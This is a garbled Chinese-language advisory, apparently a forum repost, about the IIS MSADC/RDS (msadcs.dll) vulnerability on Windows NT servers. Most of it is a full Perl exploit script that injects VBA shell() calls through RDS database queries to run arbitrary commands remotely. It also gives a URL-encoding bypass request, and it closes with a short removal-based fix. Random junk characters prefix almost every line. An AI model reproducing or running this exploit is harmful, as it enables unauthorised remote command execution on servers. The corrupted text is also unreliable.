IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
>z>!Luw s?}e^/"v 涉及程序：
:J@ gmY:C Microsoft NT server
+ .[ <% ,/I.t DH 描述：
Qx#"q '2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ql{ OETn# |v%YQ
R 详细：
%)W2H^
如果你没有时间读详细内容的话，就删除:
&)ChQZA c:\Program Files\Common Files\System\Msadc\msadcs.dll
U(g:zae 有关的安全问题就没有了。
L|xbR#v 0RLg:SV 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
{rw|# Z>A &%DY \* 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
;bib/ 关于利用ODBC远程漏洞的描述，请参看:
dn+KH+v s} ;{ZAtE http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?Ep [M:,q K=k"a 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
n
M*%o- http://www.microsoft.com/security/bulletins/MS99-025faq.asp }2.`N%[ WX?IYQ + 这里不再论述。
q" J]%zO >*_$]E 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
4F'LBS] =0 Jhhb7uU+ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
266 h\2t6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
E,U+o $ kJs N|= &
G4\2l9 #将下面这段保存为txt文件，然后: "perl -x 文件名"
mSF (q78? E
A1?)|}n #!perl
WiR(;m<g #
]Ie 0S~ # MSADC/RDS 'usage' (aka exploit) script
J @1!Oq> #
)~ J Hgl # by rain.forest.puppy
}rw8PZ9 #
E
KLyma&}Y # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
]MitOkX # beta test and find errors!
k fY}S 3$>1FoSk use Socket; use Getopt::Std;
)_S(UVI 5 getopts("e:vd:h:XR", \%args);
Hk.TM2{w ;))+>%SGCt print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
c9u`!'g`i | rtD.,m if (!defined $args{h} && !defined $args{R}) {
oIzj,v8$ print qq~
y I Usage: msadc.pl -h <host> { -d <delay> -X -v }
,f'CD { E -h <host> = host you want to scan (ip or domain)
9F;>W ET -d <seconds> = delay between calls, default 1 second
6}Ci>_i4# -X = dump Index Server path table, if available
37.S\ gO] -v = verbose
K;H&n1 -e = external dictionary file for step 5
YfKdR"i+. 8^+%I/S$ Or a -R will resume a command session
qWPkT$ u rcG"o\g@+ ~; exit;}
,m|h<faZL u^I|T.w<r6 $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j-}O0~Jz if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
<^jQo<kU if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
e 2oa($9 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
oY3;. ;'bk $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
fxHH;hRfv if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0 ZKx<]! $Sip$\+* if (!defined $args{R}){ $ret = &has_msadc;
Vv=. -&' die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
|3"KK PB*&aYLU print "Please type the NT commandline you want to run (cmd /c assumed):\n"
~P **O~ . "cmd /c ";
:{l_FY436 $in=<STDIN>; chomp $in;
#r\4sVg $command="cmd /c " . $in ;
.|fH y \V~eVf;~ if (defined $args{R}) {&load; exit;}
M oza".fiN "`e{/7I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2-EIE4ds &try_btcustmr;
5e^ChK0Q D'Df JwA print "\nStep 2: Trying to make our own DSN...";
mNTzUoZF'@ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
;'@9[N9 ~H sJUro print "\nStep 3: Trying known DSNs...";
N5
6g+,w%) &known_dsn;
} (73Syl# 3;A)W 18] print "\nStep 4: Trying known .mdbs...";
SO'vp z{ &known_mdb;
N<VJ(20y y?? XIsF if (defined $args{e}){
x
g print "\nStep 5: Trying dictionary of DSN names...";
vXZOy%$o &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
'_Fsv HQ f46t9dxp$ print "Sorry Charley...maybe next time?\n";
PKiy5D*8p exit;
=-n}[Y}A nmKp[-5 ##############################################################################
9qzHS~l WW~sNC\3`( sub sendraw { # ripped and modded from whisker
p} ~JgEE sleep($delay); # it's a DoS on the server! At least on mine...
6O! 2P my ($pstr)=@_;
i< Z c"v; socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
VjZ|$k die("Socket problems\n");
`b7t4d* if(connect(S,pack "SnA4x8",2,80,$target)){
Iit; F select(S); $|=1;
?IT*: A] E print $pstr; my @in=<S>;
@lr ztM select(STDOUT); close(S);
VuZuS6~#J return @in;
y766;
X:J } else { die("Can't connect...\n"); }}
3;]H 1
1 8'io$ 6d= ##############################################################################
+V OK%8,p BUX pC xQ sub make_header { # make the HTTP request
c 3)jccWTc my $msadc=<<EOT
R!gEwTk POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
LFRlzz; User-Agent: ACTIVEDATA
j' "J%e] Host: $ip
JU&c.p
/ Content-Length: $clen
` Eo.v#< Connection: Keep-Alive
i$ 6ypuc Pw"-S?`( ADCClientVersion:01.06
,R*
]>' Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
p6!x=cW sS'm!7*(3 --!ADM!ROX!YOUR!WORLD!
VTY 5]|; Content-Type: application/x-varg
.Vvx,>>D Content-Length: $reqlen
R(G7m@@{ RQ"
,3.R== EOT
d|Lj ~x| ; $msadc=~s/\n/\r\n/g;
^o&. fQ* return $msadc;}
Z o(rTCZX e1Hg w[l` ##############################################################################
JOeeU8C 1?+St`+{B- sub make_req { # make the RDS request
@Qt{jI ! my ($switch, $p1, $p2)=@_;
$}<e|3 _ my $req=""; my $t1, $t2, $query, $dsn;
Si;H0uP O MeZf*'
J if ($switch==1){ # this is the btcustmr.mdb query
i5@ z< \ $query="Select * from Customers where City=" . make_shell();
u>a5GkG. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
<$Yd0hxjU $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
"'?>fe\qG ^9:Z7 >Z elsif ($switch==2){ # this is general make table query
59;KQ $query="create table AZZ (B int, C varchar(10))";
V/9!K%y $dsn="$p1";}
G
mA<
g ee76L&: elsif ($switch==3){ # this is general exploit table query
\d`h/tHk $query="select * from AZZ where C=" . make_shell();
| [b{)s?x $dsn="$p1";}
t!7-DF|N ZyFjFHe+ elsif ($switch==4){ # attempt to hork file info from index server
?) d~ c J $query="select path from scope()";
^v7 g IC $dsn="Provider=MSIDXS;";}
5 ">Z'+8 D_zZXb Nc elsif ($switch==5){ # bad query
suDQ ~\ n $query="select";
hf&9uHN%7m $dsn="$p1";}
f
x+/C8GK 88wa7i* $t1= make_unicode($query);
SSMHo JGm $t2= make_unicode($dsn);
J)p
l|I $req = "\x02\x00\x03\x00";
q9s=~d7 $req.= "\x08\x00" . pack ("S1", length($t1));
Jij*x> K>y $req.= "\x00\x00" . $t1 ;
T</F
0su| $req.= "\x08\x00" . pack ("S1", length($t2));
6?c7$Y $req.= "\x00\x00" . $t2 ;
NU2;X (z[ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
)MTOU47U return $req;}
#Ki[$bS~6 Z=vU}S>r|v ##############################################################################
aWF655Fs* I yG}H} sub make_shell { # this makes the shell() statement
yEE*B: return "'|shell(\"$command\")|'";}
Zp=U
W*g^ }b.%Im<3R ##############################################################################
FJ)$f?=Q d n,WqyNt* sub make_unicode { # quick little function to convert to unicode
s`~IUNJ@P my ($in)=@_; my $out;
gV_}-VvP for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
4~Q/"hMSkO return $out;}
>}6%#CAf d raN0v f ##############################################################################
& 6nWzF ~oY^;/ j sub rdo_success { # checks for RDO return success (this is kludge)
\z(gqkc 6 my (@in) = @_; my $base=content_start(@in);
?^\|-Gr if($in[$base]=~/multipart\/mixed/){
Z"fJ`- - return 1 if( $in[$base+10]=~/^\x09\x00/ );}
.U] -j \ return 0;}
\LexR.Di 9CD_ o s\h ##############################################################################
H$UcF1k< ~2-1 j sub make_dsn { # this makes a DSN for us
* VT / my @drives=("c","d","e","f");
1 /J=uH print "\nMaking DSN: ";
9~[Y-cpoi foreach $drive (@drives) {
I9ep`X6Y print "$drive: ";
k@ W1-D? my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
JDT`C2-Q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
[MY|T<q . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|Z += $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
=Jb>x#Y return 0 if $2 eq "404"; # not found/doesn't exist
%n9aaoD if($2 eq "200") {
vUM4S26"NT foreach $line (@results) {
P+/e 2Y return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
tK\~A,= } return 0;}
Ta\tY Zj$ '/s)%bc ##############################################################################
Jdj4\j u [ Z $[rOF sub verify_exists {
#S" nF@ my ($page)=@_;
* gWwALGo5 my @results=sendraw("GET $page HTTP/1.0\n\n");
$-sHWYZ return $results[0];}
@E|}Y YNi.SXH ##############################################################################
vy I!]p }&D32\ sub try_btcustmr {
#AQ V(;r7@ my @drives=("c","d","e","f");
8bld3 p"^ my @dirs=("winnt","winnt35","winnt351","win","windows");
~b8]H|<'Y ?$4 PVI} foreach $dir (@dirs) {
9 djk[ttA) print "$dir -> "; # fun status so you can see progress
-( H0>Ap foreach $drive (@drives) {
%1+4_g9 print "$drive: "; # ditto
( S As- $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[d ]9Oa4 $reqlenlen=length( "$reqlen" );
Tua Bm1S{f $clen= 206 + $reqlenlen + $reqlen;
h@ry y\9 Qt<&WB
fn my @results=sendraw(make_header() . make_req(1,$drive,$dir));
$ (x] if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
f4|rVP|x else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Mb*?5 R6; a Q@oH# ##############################################################################
92oFlEJ 8KzkB;=n sub odbc_error {
13x p_j my (@in)=@_; my $base;
`VguQl_,gA my $base = content_start(@in);
b4N[)%@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7B66]3v $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
#o#H?Vo9b $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
a9V,es"BWQ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R0*|Lo$6 return $in[$base+4].$in[$base+5].$in[$base+6];}
-zfR)(zG print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
LZxNAua print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
o?Oc7 $+u $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
7 HYwLG:\~ @ f3 E`8 ##############################################################################
%d9uTm ; eTcd"Kd/ sub verbose {
S3Jo>jXS " my ($in)=@_;
@`9]F7h5W return if !$verbose;
wN~_v-~*Q print STDOUT "\n$in\n";}
Ml-6OvQ7g Ab.(7GFK ##############################################################################
$/Uq0U {]4LULq sub save {
sK?twg;D*| my ($p1, $p2, $p3, $p4)=@_;
HJ.-Dg5U open(OUT, ">rds.save") || print "Problem saving parameters...\n";
KHvYUT Y print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
I{=Qtnlb close OUT;}
Nu)NqFG, =Nr-iae# ##############################################################################
g *+>H1} N4TV sub load {
(X*^dO my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
M kXmA`cP open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y(Hs #Kn{ @p=<IN>; close(IN);
'PW5ux@`< $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
1EX;MW-p<T $target= inet_aton($ip) || die("inet_aton problems");
E}Uc7G print "Resuming to $ip ...";
*MW\^PR? $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
>uEzw4w if($p[1]==1) {
&s>Jb?_5Mx $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
S)" Jf? $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
)MT}+ai my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
@gK?\URoT if (rdo_success(@results)){print "Success!\n";}
R 2vlFx/ else { print "failed\n"; verbose(odbc_error(@results));}}
-X6PRE5a2 elsif ($p[1]==3){
5~DJWi, if(run_query("$p[3]")){
+G>\-tjSD print "Success!\n";} else { print "failed\n"; }}
uHRsFlw elsif ($p[1]==4){
!&@615Vtw if(run_query($drvst . "$p[3]")){
4 s9LB print "Success!\n"; } else { print "failed\n"; }}
!^G\9"4A exit;}
N!tX<u~2 V0 a3<6@4 ##############################################################################
aw&,S"A@ '8kP.l sub create_table {
~6md !o%i my ($in)=@_;
)NT*bLRPQ $reqlen=length( make_req(2,$in,"") ) - 28;
(A.C]hD $reqlenlen=length( "$reqlen" );
{R{=+2K!|k $clen= 206 + $reqlenlen + $reqlen;
_Y m2/ 3! my @results=sendraw(make_header() . make_req(2,$in,""));
XW92gI<O return 1 if rdo_success(@results);
w5 Li&m my $temp= odbc_error(@results); verbose($temp);
@_{=V0 return 1 if $temp=~/Table 'AZZ' already exists/;
<
I``&>
return 0;}
as = fCuJ %^6F_F_jS ##############################################################################
{?7Uj w_V P
J sub known_dsn {
0JujesUw( # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
Zx>=tx} my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
\o3gKoL% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
M X]n& "banner", "banners", "ads", "ADCDemo", "ADCTest");
K wVbbC3 t"I77aZ$A foreach $dSn (@dsns) {
1X1dG#: print ".";
*|HY>U. next if (!is_access("DSN=$dSn"));
)0k53-h& if(create_table("DSN=$dSn")){
}c:M^Ff print "$dSn successful\n";
G=bCNn< if(run_query("DSN=$dSn")){
[()koU#w. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
5 SQ 8}Or3 print "Something's borked. Use verbose next time\n";}}} print "\n";}
[mueZQyI?0 YuwI&) l ##############################################################################
|;{6 & S 7 _[L o4_ sub is_access {
>=w)x,0yX my ($in)=@_;
9+!h g'9Qn $reqlen=length( make_req(5,$in,"") ) - 28;
:[d9tm $reqlenlen=length( "$reqlen" );
u)Whr@m $clen= 206 + $reqlenlen + $reqlen;
_,*r_D61S my @results=sendraw(make_header() . make_req(5,$in,""));
&uVnZ@o42 my $temp= odbc_error(@results);
X"*5+* z] verbose($temp); return 1 if ($temp=~/Microsoft Access/);
akTk( return 0;}
M
D#jj3y AQ^u ##############################################################################
+
>!;i6| Vi |#@tC' sub run_query {
{Y1C k5 my ($in)=@_;
tpx2 IE $reqlen=length( make_req(3,$in,"") ) - 28;
j 5 h-dK $reqlenlen=length( "$reqlen" );
uHNCS z H( $clen= 206 + $reqlenlen + $reqlen;
#[[ e n my @results=sendraw(make_header() . make_req(3,$in,""));
tO&^>&;5 return 1 if rdo_success(@results);
N6TH}~62} my $temp= odbc_error(@results); verbose($temp);
:rP=t , return 0;}
Zj
Z^_X3 iU:cW=W|M\ ##############################################################################
?\n >
AC \
B% +fw sub known_mdb {
V28M lP my @drives=("c","d","e","f","g");
yIE!j %u my @dirs=("winnt","winnt35","winnt351","win","windows");
o}{5i Tg= my $dir, $drive, $mdb;
!d T4 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5~S5F3 -t U'yKhn # this is sparse, because I don't know of many
?&u u[y my @sysmdbs=( "\\catroot\\icatalog.mdb",
=i3n42M# "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
`
G
kX "\\system32\\certmdb.mdb",
{2gwk8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,/U6[P_C5 dD@(z: 5M\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
J9 I :Q<; "\\cfusion\\cfapps\\forums\\forums_.mdb",
*=xr-!MEk "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
_','9| "\\cfusion\\cfapps\\security\\realm_.mdb",
{\\T gs "\\cfusion\\cfapps\\security\\data\\realm.mdb",
U%/+B]6jP "\\cfusion\\database\\cfexamples.mdb",
'0,^6'VWOV "\\cfusion\\database\\cfsnippets.mdb",
2+WaA , "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
CU~PT. "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Kf-JcBsrT "\\cfusion\\brighttiger\\database\\cleam.mdb",
7x8
yxE "\\cfusion\\database\\smpolicy.mdb",
|&4/n6;P$0 "\\cfusion\\database\cypress.mdb",
fTX;.M/%
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
H0cA6I "\\website\\cgi-win\\dbsample.mdb",
%S UQ9\SEs "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
\^1E4C\": "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
]K%!@O! ); #these are just
P+ HXn8@ foreach $drive (@drives) {
'we>q@ foreach $dir (@dirs){
>C~6\L`c foreach $mdb (@sysmdbs) {
/wlEe>i print ".";
B|X!>Q<g if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
LXCx~;{\
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
]{>,rK[So if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
%xt^698&X print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
3= ;<$+I6 } else { print "Something's borked. Use verbose next time\n"; }}}}}
R/a*LSe@& 7o}J%z foreach $drive (@drives) {
JjS? foreach $mdb (@mdbs) {
cl/_ JQ& print ".";
HtYwEj I if(create_table($drv . $drive . $dir . $mdb)){
xe$_aBU print "\n" . $drive . $dir . $mdb . " successful\n";
,"0 :3+(8; if(run_query($drv . $drive . $dir . $mdb)){
Q=dy<kg'] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
>`D:-huNeE } else { print "Something's borked. Use verbose next time\n"; }}}}
wI "U7vr }
??/
'kmd L{Vqh0QD& ##############################################################################
|e 0`nn= /_ajaz% sub hork_idx {
A+?`?pOm& print "\nAttempting to dump Index Server tables...\n";
S0W||#Pr print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
BfiD9ka-z $reqlen=length( make_req(4,"","") ) - 28;
UR5`ue ; $reqlenlen=length( "$reqlen" );
;xn0;V'= $clen= 206 + $reqlenlen + $reqlen;
J4U1t2@)9 my @results=sendraw2(make_header() . make_req(4,"",""));
2I{"XB if (rdo_success(@results)){
pI<f) r my $max=@results; my $c; my %d;
l}M !8:UzU for($c=19; $c<$max; $c++){
1yY0dOoLG) $results[$c]=~s/\x00//g;
S`Rs 82> $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
[=`q>|;pOv $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
YKf0dh;O $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
*DhiN $d{"$1$2"}="";}
o3}3p]S\ foreach $c (keys %d){ print "$c\n"; }
}SCM I4\ } else {print "Index server doesn't seem to be installed.\n"; }}
)}O8?d` Wh{tZ~ c ##############################################################################
%e} Saf X#;bh78&- sub dsn_dict {
Ilm^G}GB open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Rbv;?'O$L while(<IN>){
[)X\|pO & $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Z ;)%%V %o next if (!is_access("DSN=$dSn"));
B4 }bVjs if(create_table("DSN=$dSn")){
he hFEy x print "$dSn successful\n";
[z9Z5sLO if(run_query("DSN=$dSn")){
'@P^0+B!(. print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
y1L,0 ] print "Something's borked. Use verbose next time\n";}}}
7 "D.L-H print "\n"; close(IN);}
)@bQu~Y #:%/(j ##############################################################################
"U"Z 3 * V Jll sub sendraw2 { # ripped and modded from whisker
'H <\x sleep($delay); # it's a DoS on the server! At least on mine...
^5
Tqy(M my ($pstr)=@_;
63 B?. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
A&jlizN7 die("Socket problems\n");
hP&B t if(connect(S,pack "SnA4x8",2,80,$target)){
U~7c+}:c print "Connected. Getting data";
uf T`"i open(OUT,">raw.out"); my @in;
II x#2r select(S); $|=1; print $pstr;
uY'HT|@:{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
7. ;3e@s close(OUT); select(STDOUT); close(S); return @in;
$ L]lHji } else { die("Can't connect...\n"); }}
jWfa;&Ra u\JNr}bL ##############################################################################
jEJT-*I1+ u,4eCxYE$ sub content_start { # this will take in the server headers
JqiP>4Uwm^ my (@in)=@_; my $c;
SasJic2M for ($c=1;$c<500;$c++) {
=w0R$&b& if($in[$c] =~/^\x0d\x0a/){
8)I^ t81 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
x-3 \Ls[I else { return $c+1; }}}
/&94 e C return -1;} # it should never get here actually
:9 ^*
^T b|W=pSTY ##############################################################################
q5:N2Jmo?z I~XSn>-H sub funky {
"'\$
g[k my (@in)=@_; my $error=odbc_error(@in);
J- hbh if($error=~/ADO could not find the specified provider/){
0lR5<^B print "\nServer returned an ADO miscofiguration message\nAborting.\n";
V "h
+L7T exit;}
u.Dz~$T if($error=~/A Handler is required/){
[ibu/ W$ print "\nServer has custom handler filters (they most likely are patched)\n";
&.?'i 1! exit;}
LFtt gY if($error=~/specified Handler has denied Access/){
o`*,|Nsq print "\nServer has custom handler filters (they most likely are patched)\n";
N ?"] exit;}}
n6a`;0f[R <e</m)j ##############################################################################
{{p7 3
'u FJP-y5 sub has_msadc {
N<injx my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
) hfpwdQ my $base=content_start(@results);
.0]<k,JZZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
/ s}} &u/ return 0;}
JcxThZP~ 9zy!Fq ########################
SI-Ops~e OpYY{f g 7 W" 解决方案：
v^ V itLC 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
WEi2=3dV 2、移除web 目录: /msadc
